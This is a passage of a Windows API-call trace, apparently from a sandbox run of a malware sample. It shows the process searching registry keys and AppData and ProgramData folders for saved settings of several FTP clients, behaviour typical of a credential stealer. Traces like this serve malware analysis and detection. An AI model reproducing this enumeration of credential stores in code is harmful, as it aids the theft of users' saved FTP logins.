out: phkResult=0x12fe74*=0x0) returned 0x2 [0068.428] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\TurboFTP", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe48 | out: phkResult=0x12fe48*=0x0) returned 0x2 [0068.428] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.428] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0068.428] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0068.428] lstrlenA (lpString="\\TurboFTP") returned 9 [0068.428] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x641518 [0068.428] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0068.428] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\TurboFTP" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\TurboFTP") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\TurboFTP" [0068.428] LocalFree (hMem=0x626a88) returned 0x0 [0068.428] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\TurboFTP") returned 41 [0068.428] lstrlenA (lpString="\\*.*") returned 4 [0068.428] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x6415d0 [0068.428] lstrcpyA (in: lpString1=0x6415d0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\TurboFTP" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\TurboFTP") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\TurboFTP" [0068.428] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\TurboFTP", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\TurboFTP\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\TurboFTP\\*.*" [0068.428] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\TurboFTP\\*.*", lpFindFileData=0x12fd2e | out: lpFindFileData=0x12fd2e) returned 0xffffffff [0068.428] LocalFree (hMem=0x6415d0) returned 0x0 [0068.428] LocalFree (hMem=0x641518) returned 0x0 [0068.428] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.428] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\ProgramData") returned 0x0 [0068.428] lstrlenA (lpString="C:\\ProgramData") returned 14 [0068.428] lstrlenA (lpString="\\TurboFTP") returned 9 [0068.428] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x641518 [0068.428] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0068.428] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\TurboFTP" | out: lpString1="C:\\ProgramData\\TurboFTP") returned="C:\\ProgramData\\TurboFTP" [0068.428] LocalFree (hMem=0x626a88) returned 0x0 [0068.429] lstrlenA (lpString="C:\\ProgramData\\TurboFTP") returned 23 [0068.429] lstrlenA (lpString="\\*.*") returned 4 [0068.429] LocalAlloc (uFlags=0x40, uBytes=0x9c) returned 0x6415b8 [0068.429] lstrcpyA (in: lpString1=0x6415b8, lpString2="C:\\ProgramData\\TurboFTP" | out: lpString1="C:\\ProgramData\\TurboFTP") returned="C:\\ProgramData\\TurboFTP" [0068.429] lstrcatA (in: lpString1="C:\\ProgramData\\TurboFTP", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\TurboFTP\\*.*") returned="C:\\ProgramData\\TurboFTP\\*.*" [0068.429] FindFirstFileA (in: lpFileName="C:\\ProgramData\\TurboFTP\\*.*", lpFindFileData=0x12fd2e | out: lpFindFileData=0x12fd2e) returned 0xffffffff [0068.429] LocalFree (hMem=0x6415b8) returned 0x0 [0068.429] LocalFree (hMem=0x641518) returned 0x0 [0068.429] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.429] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Local") returned 0x0 [0068.429] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0068.429] lstrlenA (lpString="\\TurboFTP") returned 9 [0068.429] LocalAlloc (uFlags=0x40, uBytes=0xa8) returned 0x6292f8 [0068.429] lstrcpyA (in: lpString1=0x6292f8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0068.429] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\TurboFTP" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\TurboFTP") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\TurboFTP" [0068.429] LocalFree (hMem=0x626a88) returned 0x0 [0068.429] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\TurboFTP") returned 39 [0068.429] lstrlenA (lpString="\\*.*") returned 4 [0068.429] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x641518 [0068.429] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\TurboFTP" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\TurboFTP") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\TurboFTP" [0068.429] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\TurboFTP", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\TurboFTP\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\TurboFTP\\*.*" [0068.429] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\TurboFTP\\*.*", lpFindFileData=0x12fd2e | out: lpFindFileData=0x12fd2e) returned 0xffffffff [0068.429] LocalFree (hMem=0x641518) returned 0x0 [0068.429] LocalFree (hMem=0x6292f8) returned 0x0 [0068.429] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\TurboFTP", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fea0 | out: phkResult=0x12fea0*=0x0) returned 0x2 [0068.429] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\TurboFTP", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe74 | out: phkResult=0x12fe74*=0x0) returned 0x2 [0068.429] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\TurboFTP", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe48 | out: phkResult=0x12fe48*=0x0) returned 0x2 [0068.429] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\TurboFTP", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fea0 | out: phkResult=0x12fea0*=0x0) returned 0x2 [0068.430] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\TurboFTP", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe74 | out: phkResult=0x12fe74*=0x0) returned 0x2 [0068.430] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\TurboFTP", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe48 | out: phkResult=0x12fe48*=0x0) returned 0x2 [0068.430] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.430] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0068.430] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0068.430] lstrlenA (lpString="\\TurboFTP") returned 9 [0068.430] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x641518 [0068.430] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0068.430] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\TurboFTP" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\TurboFTP") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\TurboFTP" [0068.430] LocalFree (hMem=0x626a88) returned 0x0 [0068.430] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\TurboFTP") returned 41 [0068.430] lstrlenA (lpString="\\*.*") returned 4 [0068.430] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x6415d0 [0068.430] lstrcpyA (in: lpString1=0x6415d0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\TurboFTP" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\TurboFTP") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\TurboFTP" [0068.430] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\TurboFTP", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\TurboFTP\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\TurboFTP\\*.*" [0068.430] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\TurboFTP\\*.*", lpFindFileData=0x12fd2e | out: lpFindFileData=0x12fd2e) returned 0xffffffff [0068.430] LocalFree (hMem=0x6415d0) returned 0x0 [0068.430] LocalFree (hMem=0x641518) returned 0x0 [0068.430] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.430] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\ProgramData") returned 0x0 [0068.430] lstrlenA (lpString="C:\\ProgramData") returned 14 [0068.430] lstrlenA (lpString="\\TurboFTP") returned 9 [0068.430] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x641518 [0068.430] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0068.430] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\TurboFTP" | out: lpString1="C:\\ProgramData\\TurboFTP") returned="C:\\ProgramData\\TurboFTP" [0068.430] LocalFree (hMem=0x626a88) returned 0x0 [0068.430] lstrlenA (lpString="C:\\ProgramData\\TurboFTP") returned 23 [0068.430] lstrlenA (lpString="\\*.*") returned 4 [0068.430] LocalAlloc (uFlags=0x40, uBytes=0x9c) returned 0x6415b8 [0068.430] lstrcpyA (in: lpString1=0x6415b8, lpString2="C:\\ProgramData\\TurboFTP" | out: lpString1="C:\\ProgramData\\TurboFTP") returned="C:\\ProgramData\\TurboFTP" [0068.430] lstrcatA (in: lpString1="C:\\ProgramData\\TurboFTP", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\TurboFTP\\*.*") returned="C:\\ProgramData\\TurboFTP\\*.*" [0068.431] FindFirstFileA (in: lpFileName="C:\\ProgramData\\TurboFTP\\*.*", lpFindFileData=0x12fd2e | out: lpFindFileData=0x12fd2e) returned 0xffffffff [0068.431] LocalFree (hMem=0x6415b8) returned 0x0 [0068.431] LocalFree (hMem=0x641518) returned 0x0 [0068.431] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.431] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Local") returned 0x0 [0068.431] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0068.431] lstrlenA (lpString="\\TurboFTP") returned 9 [0068.431] LocalAlloc (uFlags=0x40, uBytes=0xa8) returned 0x6292f8 [0068.431] lstrcpyA (in: lpString1=0x6292f8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0068.431] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\TurboFTP" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\TurboFTP") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\TurboFTP" [0068.431] LocalFree (hMem=0x626a88) returned 0x0 [0068.431] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\TurboFTP") returned 39 [0068.431] lstrlenA (lpString="\\*.*") returned 4 [0068.431] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x641518 [0068.431] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\TurboFTP" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\TurboFTP") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\TurboFTP" [0068.431] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\TurboFTP", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\TurboFTP\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\TurboFTP\\*.*" [0068.431] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\TurboFTP\\*.*", lpFindFileData=0x12fd2e | out: lpFindFileData=0x12fd2e) returned 0xffffffff [0068.431] LocalFree (hMem=0x641518) returned 0x0 [0068.431] LocalFree (hMem=0x6292f8) returned 0x0 [0068.431] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.431] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.431] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed4*=0x10, cb=0x4, pcbWritten=0x12feb0 | out: pcbWritten=0x12feb0*=0x4) returned 0x0 [0068.431] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.431] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.431] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0068.432] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.432] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.432] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea4 | out: pcbWritten=0x12fea4*=0x8) returned 0x0 [0068.432] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fecc*=0x0, cb=0x4, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x4) returned 0x0 [0068.432] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee0*=0xb, cb=0x2, pcbWritten=0x12fea4 | out: pcbWritten=0x12fea4*=0x2) returned 0x0 [0068.432] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x0, cb=0x2, pcbWritten=0x12fea4 | out: pcbWritten=0x12fea4*=0x2) returned 0x0 [0068.432] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Sota\\FFFTP", ulOptions=0x0, samDesired=0x20019, phkResult=0x12feb0 | out: phkResult=0x12feb0*=0x0) returned 0x2 [0068.432] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Sota\\FFFTP", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe84 | out: phkResult=0x12fe84*=0x0) returned 0x2 [0068.432] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Sota\\FFFTP", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe58 | out: phkResult=0x12fe58*=0x0) returned 0x2 [0068.432] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Sota\\FFFTP", ulOptions=0x0, samDesired=0x20019, phkResult=0x12feb0 | out: phkResult=0x12feb0*=0x0) returned 0x2 [0068.432] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Sota\\FFFTP", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe84 | out: phkResult=0x12fe84*=0x0) returned 0x2 [0068.432] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Sota\\FFFTP", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe58 | out: phkResult=0x12fe58*=0x0) returned 0x2 [0068.432] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Sota\\FFFTP\\Options", phkResult=0x12fed4 | out: phkResult=0x12fed4*=0x0) returned 0x2 [0068.432] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.432] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.432] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x10, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0068.432] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.432] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.432] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0068.432] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.433] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.433] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x8) returned 0x0 [0068.433] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x0, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0068.433] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0xc, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0068.433] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee8*=0x0, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0068.433] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\CoffeeCup Software\\Internet\\Profiles", phkResult=0x12fed8 | out: phkResult=0x12fed8*=0x0) returned 0x2 [0068.433] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.433] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.433] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed4*=0x10, cb=0x4, pcbWritten=0x12feb0 | out: pcbWritten=0x12feb0*=0x4) returned 0x0 [0068.433] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.433] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.433] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0068.433] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.433] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.433] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x8) returned 0x0 [0068.433] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x0, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0068.433] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0xd, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0068.433] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee8*=0x0, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0068.433] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\FTPWare\\COREFTP\\Sites", phkResult=0x12fed8 | out: phkResult=0x12fed8*=0x0) returned 0x2 [0068.434] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.434] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.434] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed4*=0x10, cb=0x4, pcbWritten=0x12feb0 | out: pcbWritten=0x12feb0*=0x4) returned 0x0 [0068.434] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.434] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.434] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0068.434] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.434] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.434] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea0 | out: pcbWritten=0x12fea0*=0x8) returned 0x0 [0068.434] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fec8*=0x0, cb=0x4, pcbWritten=0x12fea4 | out: pcbWritten=0x12fea4*=0x4) returned 0x0 [0068.434] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fedc*=0xe, cb=0x2, pcbWritten=0x12fea0 | out: pcbWritten=0x12fea0*=0x2) returned 0x0 [0068.434] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee0*=0x0, cb=0x2, pcbWritten=0x12fea0 | out: pcbWritten=0x12fea0*=0x2) returned 0x0 [0068.434] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.434] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0068.434] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0068.434] lstrlenA (lpString="\\FTP Explorer") returned 13 [0068.434] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x641518 [0068.434] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0068.434] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\FTP Explorer" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FTP Explorer") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FTP Explorer" [0068.434] LocalFree (hMem=0x626a88) returned 0x0 [0068.434] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FTP Explorer") returned 45 [0068.434] lstrlenA (lpString="\\*.*") returned 4 [0068.434] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x6415d0 [0068.434] lstrcpyA (in: lpString1=0x6415d0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FTP Explorer" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FTP Explorer") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FTP Explorer" [0068.434] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FTP Explorer", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FTP Explorer\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FTP Explorer\\*.*" [0068.434] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\FTP Explorer\\*.*", lpFindFileData=0x12fd3a | out: lpFindFileData=0x12fd3a) returned 0xffffffff [0068.435] LocalFree (hMem=0x6415d0) returned 0x0 [0068.435] LocalFree (hMem=0x641518) returned 0x0 [0068.435] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.435] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\ProgramData") returned 0x0 [0068.435] lstrlenA (lpString="C:\\ProgramData") returned 14 [0068.435] lstrlenA (lpString="\\FTP Explorer") returned 13 [0068.435] LocalAlloc (uFlags=0x40, uBytes=0x9c) returned 0x641518 [0068.435] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0068.435] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\FTP Explorer" | out: lpString1="C:\\ProgramData\\FTP Explorer") returned="C:\\ProgramData\\FTP Explorer" [0068.435] LocalFree (hMem=0x626a88) returned 0x0 [0068.435] lstrlenA (lpString="C:\\ProgramData\\FTP Explorer") returned 27 [0068.435] lstrlenA (lpString="\\*.*") returned 4 [0068.435] LocalAlloc (uFlags=0x40, uBytes=0xa0) returned 0x6415c0 [0068.435] lstrcpyA (in: lpString1=0x6415c0, lpString2="C:\\ProgramData\\FTP Explorer" | out: lpString1="C:\\ProgramData\\FTP Explorer") returned="C:\\ProgramData\\FTP Explorer" [0068.435] lstrcatA (in: lpString1="C:\\ProgramData\\FTP Explorer", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\FTP Explorer\\*.*") returned="C:\\ProgramData\\FTP Explorer\\*.*" [0068.435] FindFirstFileA (in: lpFileName="C:\\ProgramData\\FTP Explorer\\*.*", lpFindFileData=0x12fd3a | out: lpFindFileData=0x12fd3a) returned 0xffffffff [0068.435] LocalFree (hMem=0x6415c0) returned 0x0 [0068.435] LocalFree (hMem=0x641518) returned 0x0 [0068.435] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.435] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Local") returned 0x0 [0068.435] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0068.435] lstrlenA (lpString="\\FTP Explorer") returned 13 [0068.435] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x641518 [0068.435] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0068.435] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\FTP Explorer" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\FTP Explorer") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\FTP Explorer" [0068.435] LocalFree (hMem=0x626a88) returned 0x0 [0068.435] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\FTP Explorer") returned 43 [0068.435] lstrlenA (lpString="\\*.*") returned 4 [0068.435] LocalAlloc (uFlags=0x40, uBytes=0xb0) returned 0x6415d0 [0068.435] lstrcpyA (in: lpString1=0x6415d0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\FTP Explorer" | 